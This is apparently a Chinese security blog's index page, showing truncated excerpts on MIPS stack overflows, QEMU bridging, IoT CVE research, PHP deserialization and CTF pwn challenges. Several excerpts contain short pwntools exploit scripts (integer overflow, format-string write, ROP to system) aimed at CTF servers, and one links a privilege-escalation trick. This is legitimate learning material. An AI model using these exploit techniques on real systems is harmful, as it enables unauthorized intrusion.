MIPS栈溢出入门
这是去年HWS夏令营的一道MIPS栈溢出题目,当时连PWN都还没入门的我欠下的坑,如今一年后补坑,不过我也半年多没有真正意义上做一道PWN题了,现在重新捡起二进制,入坑IoT安全!
上题:没有开保护,是一个MIPS小端程序
MIPS汇编函数调用结构特点(举例这里main函数的):
我的理解是:相对于x86而言,进入函数调用后,MIPS是通过专门的寄存器来保存调用之前的状态,比如这里,通过sp寄存器来分配main函数要用到的栈空间,ra用来保存调用main函数完后的返回地址,如果main函数内部不再调用子函数了,那么ra就在保存main函数的返回地址上发挥了一次作用而已,因为最后会把之前压入的返回地址又还给ra,最后jr $ra跳转到返回地址。如果main函数内有调用子函数,那么ra不光是最后作为跳转到返回地址的中间桥梁,而且中途还帮助别的函数做了一次跳板。原理和x86都是一样的,只不过MIPS多了专门的寄存器用来保存帧栈,不像x86是通过压栈出栈的方式来保存变量的栈空间和返回地址的跳转。
1234567891011121314.text:00400AEC main:.text:004 ...
qemu桥接的两种姿势(win10&&ubuntu)
用qemu桥接最简单粗暴的方法-win10首先打开网络适配器康康有没有TAP开头的这样的网卡,如果没有,可以去下个OpenVPN或者直接下这个链接:http://swupdate.openvpn.org/community/releases/tap-windows-9.21.2.exe
安装完后,打开网络连接,需要把网卡默认的名字改为tap0
然后选中WLAN和tap0他俩,点击后会断网(正常)
此时我们再去启动qemu(最好在桥接后启动,不然桥接前就启动tap0会断掉,最后还得重新启动),此时显示就是”已启用,桥接的“,再右键操作如下图就行了
在qemu虚拟机中ip设为桥接的同一网段(如果发现一会传输失败了,那么需要去修改qemu里的/etc/network下的interfaces,把ip配置都改为静态的,这样就不会中途断掉了)
if config eth0 192.168.8.132/24
就这么简单,配置完后,ping没问题,ssh也ok,酱我们就成功辽
用完后断开也贼方便,断掉后就自动恢复了
qemu在ubuntu如何桥接安装网桥工具:
sudo apt-get i ...
DataCon-物联网安全赛题一wp
数据集抓取整体思路datacon21比赛的实验服务器使用了阿里云,访问界面和主机之间的ssh信道通过websocket建立,通过抓包分析即可得到在web ssh终端的数据。通过这种方式可以把所有数据集中的数据打印到终端,再抓包还原。
提权https://vk9-sec.com/apt-get-privilege-escalation/
制作数据为了解决二进制不能打印的问题,使用了base64编码的方式打印。
思路是分文件夹压缩,之后base64编码为可打印字符,并在base64编码后文本文件的头尾添加标识。
标识符包括分隔符”:”,定界符F0F0F0,文件名,行号。添加标识的原因是ssh传输中还需要打印控制字符,以及文件传输过大可能会遇到各种网络问题,添加标识会方便数据还原和调试。
for f in ls /home/datacon/supplychain/dataset ; do tar -czvf /home/datacon/disk/sc/$f.tar.gz /home/datacon/supplychain/dataset/$f ;done
for f in ls /home/ ...
大华摄像头-CVE-2021-33044漏洞研究
大华摄像头-CVE-2021-33044漏洞研究固件下载地址:Firmwares (dahuasecurity.com)
下载固件的时候,提及一下这几种类别:
1、IPC:IPC即IP-CAMERA,是集成视频服务器和摄像机的功能为一体的数字视频设备;IP-CAMERA网络摄像机一般有内置Web服务的数字摄像机和录音设备,直接与以太网(有线、无线)相连。用户可通过标准Web浏览器观看和收听网络摄像机传送过来的视频和声音。
2、视频服务器(DVS):采用数字压缩算法,实现音视频信息的数字压缩和网络传输与控制设备。视频服务器一般为嵌入式视频服务器设备,采用嵌入式CPU的硬件设计,体积小,结构方便,一般有为1路、2路和4路音视频输入,有些可以实现双向对讲功能。目前有些DVS设备也可以内置小容量的硬盘。
3、数字视频录像机(DVR): DVR即是Digital Video Recorder,数字视频录像机或数字硬盘录像机,我们习惯上称为硬盘录像机。结合标准接口的数字存储介质,采用数字压缩算法,实现音视频信息的数字记录、监视与回放,并可带有系统控制功能的视频设备或视频网络传输与监控的设备(一般带 ...
MikroTik-CVE-2019-13954漏洞复现
MikroTik RouterOS-CVE-2019-13954漏洞复现
产品描述:MikroTik RouterOS是一种路由操作系统,并通过该软件将标准的PC电脑变成专业路由器,在软件的开发和应用上不断的更新和发展,软件经历了多次更新和改进,使其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的功能,其极高的性价比,受到许多网络人士的青睐。RouterOS在具备现有路由系统的大部分功能,能针对网吧、企业、小型ISP接入商、社区等网络设备的接入,基于标准的x86构架的PC。一台586PC机就可以实现路由功能,提高硬件性能同样也能提高网络的访问速度和吞吐量。完全是一套低成本,高性能的路由器系统。
漏洞利用分析:漏洞描述:根据CVE-2019-13954的漏洞公告中得知,认证的用户可以通过发送一个特殊的POST请求,服务器在处理此请求时会陷入死循环,造成内存耗尽,导致系统的服务瘫痪重启
漏洞原理:CVE-2019-13954的漏洞利用地方跟CVE-2018-1157的类似,都是同一个地方死循环
下面是6.40.5,x86架构的漏洞文件反汇编代码 ...
CVE-2016-7124
CVE-2016-7124漏洞复现—php反序列化漏洞参考攻防世界web方向Web_php_unserialize题目
主要原因:如果存在__wakeup()函数,掉用**unserialize()**方法前会先调用wakeup方法,但如果序列化中表示属性个数的个数大于真实属性个数会跳过wakeup的执行,从而可以恶意构造字符串,反序列化成想要执行的函数
打开题目网页php代码如下123456789101112131415161718192021222324252627<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } functio ...
PWN-整数溢出&栈溢出-bugku_pwn11
长度变量v2定义成无符号类型,所以可以通过溢出,让他为负值
长度溢出后,分别覆盖s字符数组、长度变量v2、循环i,特别注意是read(0,&s[i],1u),每次循环读入单个字节
0x600x10覆盖数组,0x100xC都是覆盖长度变量(不管覆盖成多大都无所谓),但是i必须要注意,read是通过s[i]来覆盖整个栈的,所以我们可以直接改变i的值,让i指向rip位置,也就是s往下98,i赋值为’c’就行,随之就是rip覆盖成getflag的起始地址就行了,hhh
EXP:
1234567891011121314from pwn import *r = remote("114.116.54.89",10011)r.recv()r.sendline("-1")payload = 'a'*(0x60-0xc) + 'c' + p32(0x080486BB)p.recv()p.sendline(payload)p.interactive()
PWN-格式化字符串-攻防世界_实时数据检测
key是全局变量,需要将key改变为特殊值35795746才行
格式化字符串原理图:
可以看出AAAA偏离自己的首地址的地址(也就是format string)的偏移量为12
key变量地址:
EXP:
123456from pwn import *r = remote("111.200.241.244", 33670)key_addr = 0x804A048 #这是key变量的地址payload = fmtstr_payload(12, {key_addr:35795746}) #写偏移的新方法r.sendline(payload)r.interactive()
PWN-64位ROP-Bugku_PWN4
没有开任何保护
反汇编很明显栈溢出
然而只有System函数地址是已知的(0x400570),参数”/bin/sh”未知发现有$0(代表bash,做参数等同于”/bin/sh”)
**特别注意:**32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi、rsi、rdx、rcx、r8、r9来传递参数(参数个数小于7的时候)所以我们要找一个能够pop rdi的指令通过这句ROPgadget –binary pwn4 –only “pop|ret”可以找到,地址为0x4007d3
用命令ROPgadget –binary pwn4 –string ‘$0’ 找到$0的地址0x60111f
最后构造payload
PWN-pwnable.kr.fd
第一次用这个oj,界面挺可爱的
连上去,发现目录下有flag,但是没有权限打开
有fd的源代码,打开看看
发现就是一个file IO的问题atoi是C语言中将字符串转化为数字的函数,又有一个read,参数传的fd,0x1234 = 4660那么我们让传入的参数等于4660,这样fd = argv[1] - 0x1234就为0了,这样buf的赋值就是从0位置开始,覆盖32个字节长度,最后让read输入时读入LETMEWIN,到strcmp比较时就能成功匹配了,最后得到flag:mommy! I think I know what a file descriptor is!!
参考wp:https://0xrick.github.io/pwn/fd/